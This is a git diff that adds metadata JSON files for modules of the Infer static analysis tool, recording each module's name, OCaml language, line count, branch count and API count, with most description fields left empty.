index 0000000..be4b225 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Source.json @@ -0,0 +1,13 @@ +{ + "name": "Source", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 40, + "branches": 0, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/SubtypingCheck.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/SubtypingCheck.json new file mode 100644 index 0000000..930d14d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/SubtypingCheck.json @@ -0,0 +1,13 @@ +{ + "name": "SubtypingCheck", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 53, + "branches": 7, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/TaintTrace.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/TaintTrace.json new file mode 100644 index 0000000..fc3d5cc --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/TaintTrace.json @@ -0,0 +1,13 @@ +{ + "name": "TaintTrace", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 451, + "branches": 30, + "apis": 93, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/TaintTraceElem.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/TaintTraceElem.json new file mode 100644 index 0000000..48c3ff4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/TaintTraceElem.json @@ -0,0 +1,13 @@ +{ + "name": "TaintTraceElem", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 27, + "branches": 3, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/TaskSchedulerTypes.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/TaskSchedulerTypes.json new file mode 100644 index 0000000..d039a6f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/TaskSchedulerTypes.json @@ -0,0 +1,13 @@ +{ + "name": "TaskSchedulerTypes", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 17, + "branches": 1, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/TransferFunctions.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/TransferFunctions.json new file mode 100644 index 0000000..e2c6457 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/TransferFunctions.json @@ -0,0 +1,13 @@ +{ + "name": "TransferFunctions", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 50, + "branches": 0, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/annotations.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/annotations.json new file mode 100644 index 0000000..7f9c02c --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/annotations.json @@ -0,0 +1,13 @@ +{ + "name": "annotations", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 115, + "branches": 2, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/exe_env.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/exe_env.json new file mode 100644 index 0000000..8a25148 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/exe_env.json @@ -0,0 +1,13 @@ +{ + "name": "exe_env", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 56, + "branches": 8, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/atd/AtdDeps.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/atd/AtdDeps.json new file mode 100644 index 0000000..d9715cf --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/atd/AtdDeps.json @@ -0,0 +1,13 @@ +{ + "name": "AtdDeps", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 11, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/atd/InferCommand.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/atd/InferCommand.json new file mode 100644 index 0000000..73265ef --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/atd/InferCommand.json @@ -0,0 +1,13 @@ +{ + "name": "InferCommand", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 24, + "branches": 2, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/AnalysisDependencyGraph.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/AnalysisDependencyGraph.json new file mode 100644 index 0000000..f457918 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/AnalysisDependencyGraph.json @@ -0,0 +1,13 @@ +{ + "name": "AnalysisDependencyGraph", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 343, + "branches": 35, + "apis": 57, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/CallGraph.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/CallGraph.json new file mode 100644 index 0000000..a5cdf92 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/CallGraph.json @@ -0,0 +1,13 @@ +{ + "name": "CallGraph", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 115, + "branches": 10, + "apis": 22, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/CallGraphScheduler.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/CallGraphScheduler.json new file mode 100644 index 0000000..d83e367 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/CallGraphScheduler.json @@ -0,0 +1,13 @@ +{ + "name": "CallGraphScheduler", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 85, + "branches": 12, + "apis": 21, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/CallbackOfChecker.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/CallbackOfChecker.json new file mode 100644 index 0000000..5a16aa5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/CallbackOfChecker.json @@ -0,0 +1,13 @@ +{ + "name": "CallbackOfChecker", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 80, + "branches": 1, + "apis": 21, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/Devirtualizer.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/Devirtualizer.json new file mode 100644 index 0000000..89be38a --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/Devirtualizer.json @@ -0,0 +1,13 @@ +{ + "name": "Devirtualizer", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 141, + "branches": 17, + "apis": 43, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/FileScheduler.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/FileScheduler.json new file mode 100644 index 0000000..02d629b --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/FileScheduler.json @@ -0,0 +1,13 @@ +{ + "name": "FileScheduler", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 20, + "branches": 2, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/GCStats.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/GCStats.json new file mode 100644 index 0000000..109f272 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/GCStats.json @@ -0,0 +1,13 @@ +{ + "name": "GCStats", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 76, + "branches": 3, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/InferAnalyze.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/InferAnalyze.json new file mode 100644 index 0000000..82244c1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/InferAnalyze.json @@ -0,0 +1,13 @@ +{ + "name": "InferAnalyze", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 286, + "branches": 35, + "apis": 81, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/Issue.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/Issue.json new file mode 100644 index 0000000..3dc78ac --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/Issue.json @@ -0,0 +1,13 @@ +{ + "name": "Issue", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 35, + "branches": 3, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/LineageTaint.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/LineageTaint.json new file mode 100644 index 0000000..e6872dc --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/LineageTaint.json @@ -0,0 +1,13 @@ +{ + "name": "LineageTaint", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 468, + "branches": 44, + "apis": 83, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/NodePrinter.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/NodePrinter.json new file mode 100644 index 0000000..a1fcc66 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/NodePrinter.json @@ -0,0 +1,13 @@ +{ + "name": "NodePrinter", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 49, + "branches": 5, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/Payloads.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/Payloads.json new file mode 100644 index 0000000..608f232 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/Payloads.json @@ -0,0 +1,13 @@ +{ + "name": "Payloads", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 209, + "branches": 18, + "apis": 36, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/ProcLocker.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/ProcLocker.json new file mode 100644 index 0000000..5d8a96c --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/ProcLocker.json @@ -0,0 +1,13 @@ +{ + "name": "ProcLocker", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 132, + "branches": 18, + "apis": 29, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/Procedures.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/Procedures.json new file mode 100644 index 0000000..978dbc8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/Procedures.json @@ -0,0 +1,13 @@ +{ + "name": "Procedures", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 126, + "branches": 17, + "apis": 25, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/ReactiveCapture.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/ReactiveCapture.json new file mode 100644 index 0000000..82a5f33 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/ReactiveCapture.json @@ -0,0 +1,13 @@ +{ + "name": "ReactiveCapture", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 49, + "branches": 2, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/ReplayScheduler.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/ReplayScheduler.json new file mode 100644 index 0000000..6f06527 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/ReplayScheduler.json @@ -0,0 +1,13 @@ +{ + "name": "ReplayScheduler", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 13, + "branches": 0, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/RestartScheduler.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/RestartScheduler.json new file mode 100644 index 0000000..5b2ed0f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/RestartScheduler.json @@ -0,0 +1,13 @@ +{ + "name": "RestartScheduler", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 154, + "branches": 22, + "apis": 31, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/SourceFileGraph.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/SourceFileGraph.json new file mode 100644 index 0000000..c376dfb --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/SourceFileGraph.json @@ -0,0 +1,13 @@ +{ + "name": "SourceFileGraph", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 332, + "branches": 24, + "apis": 95, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/StarvationGlobalAnalysis.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/StarvationGlobalAnalysis.json new file mode 100644 index 0000000..a4e4170 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/StarvationGlobalAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "StarvationGlobalAnalysis", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 99, + "branches": 3, + "apis": 26, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/Summary.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/Summary.json new file mode 100644 index 0000000..2635f14 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/Summary.json @@ -0,0 +1,13 @@ +{ + "name": "Summary", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 275, + "branches": 16, + "apis": 46, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/SyntacticCallGraph.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/SyntacticCallGraph.json new file mode 100644 index 0000000..a7d1992 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/SyntacticCallGraph.json @@ -0,0 +1,13 @@ +{ + "name": "SyntacticCallGraph", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 88, + "branches": 8, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/callbacks.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/callbacks.json new file mode 100644 index 0000000..2a71050 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/callbacks.json @@ -0,0 +1,13 @@ +{ + "name": "callbacks", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 95, + "branches": 7, + "apis": 21, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/ondemand.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/ondemand.json new file mode 100644 index 0000000..ca19a0c --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/ondemand.json @@ -0,0 +1,13 @@ +{ + "name": "ondemand", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 555, + "branches": 66, + "apis": 140, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/preanal.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/preanal.json new file mode 100644 index 0000000..675b3d7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/preanal.json @@ -0,0 +1,13 @@ +{ + "name": "preanal", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 508, + "branches": 54, + "apis": 141, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/printer.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/printer.json new file mode 100644 index 0000000..d5b52c2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/printer.json @@ -0,0 +1,13 @@ +{ + "name": "printer", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 310, + "branches": 27, + "apis": 69, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/registerCheckers.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/registerCheckers.json new file mode 100644 index 0000000..9ea091f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/backend/registerCheckers.json @@ -0,0 +1,13 @@ +{ + "name": "registerCheckers", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 174, + "branches": 2, + "apis": 22, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/BiabductionProp.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/BiabductionProp.json new file mode 100644 index 0000000..475d10f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/BiabductionProp.json @@ -0,0 +1,13 @@ +{ + "name": "BiabductionProp", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 410, + "branches": 71, + "apis": 287, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/BufferOverrunAnalysis.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/BufferOverrunAnalysis.json index 7cb8494..7015324 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/BufferOverrunAnalysis.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/BufferOverrunAnalysis.json @@ -1,10 +1,7 @@ { - "name": "BufferOverrunAnalysis", - "language": [ - "clang", - "java" - ], - "description": "Internal part of the buffer overrun analysis that computes values at each program \\\n point, automatically triggered when analyses that depend on these are run.", + "name": "bufferOverrunAnalysis", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/BufferOverrunChecker.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/BufferOverrunChecker.json index 5e02f56..d0682ed 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/BufferOverrunChecker.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/BufferOverrunChecker.json @@ -1,10 +1,7 @@ { - "name": "BufferOverrunChecker", - "language": [ - "clang", - "java" - ], - "description": "InferBO is a detector for out-of-bounds array accesses.", + "name": "bufferOverrunChecker", + "language": [], + "description": "", "example": null, "cwe": null, "cwe-description": null, diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/FuncPtr.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/FuncPtr.json new file mode 100644 index 0000000..9087d3a --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/FuncPtr.json @@ -0,0 +1,13 @@ +{ + "name": "FuncPtr", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 32, + "branches": 2, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/absLoc.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/absLoc.json new file mode 100644 index 0000000..04bdb05 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/absLoc.json @@ -0,0 +1,13 @@ +{ + "name": "absLoc", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 486, + "branches": 74, + "apis": 146, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/arrayBlk.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/arrayBlk.json new file mode 100644 index 0000000..d695adf --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/arrayBlk.json @@ -0,0 +1,13 @@ +{ + "name": "arrayBlk", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 329, + "branches": 41, + "apis": 60, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/boolean.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/boolean.json new file mode 100644 index 0000000..288e36a --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/boolean.json @@ -0,0 +1,13 @@ +{ + "name": "boolean", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 51, + "branches": 7, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bounds.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bounds.json new file mode 100644 index 0000000..52c9165 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bounds.json @@ -0,0 +1,13 @@ +{ + "name": "bounds", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 1148, + "branches": 207, + "apis": 494, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunAnalysisSummary.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunAnalysisSummary.json new file mode 100644 index 0000000..2012406 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunAnalysisSummary.json @@ -0,0 +1,13 @@ +{ + "name": "bufferOverrunAnalysisSummary", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 11, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunCheckerSummary.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunCheckerSummary.json new file mode 100644 index 0000000..2f039b4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunCheckerSummary.json @@ -0,0 +1,13 @@ +{ + "name": "bufferOverrunCheckerSummary", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 10, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunDomain.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunDomain.json new file mode 100644 index 0000000..b1b136e --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunDomain.json @@ -0,0 +1,13 @@ +{ + "name": "bufferOverrunDomain", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 2112, + "branches": 241, + "apis": 467, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunField.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunField.json new file mode 100644 index 0000000..db3b35c --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunField.json @@ -0,0 +1,13 @@ +{ + "name": "bufferOverrunField", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 92, + "branches": 10, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunModels.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunModels.json new file mode 100644 index 0000000..d743ab3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunModels.json @@ -0,0 +1,13 @@ +{ + "name": "bufferOverrunModels", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 1825, + "branches": 50, + "apis": 302, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunOndemandEnv.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunOndemandEnv.json new file mode 100644 index 0000000..ac08ae7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunOndemandEnv.json @@ -0,0 +1,13 @@ +{ + "name": "bufferOverrunOndemandEnv", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 89, + "branches": 8, + "apis": 21, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunProofObligations.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunProofObligations.json new file mode 100644 index 0000000..8fba590 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunProofObligations.json @@ -0,0 +1,13 @@ +{ + "name": "bufferOverrunProofObligations", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 768, + "branches": 101, + "apis": 91, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunSemantics.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunSemantics.json new file mode 100644 index 0000000..b5a699f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/bufferoverrun/bufferOverrunSemantics.json @@ -0,0 +1,13 @@ +{ + "name": "bufferOverrunSemantics", + "language": [], + "description": "", + 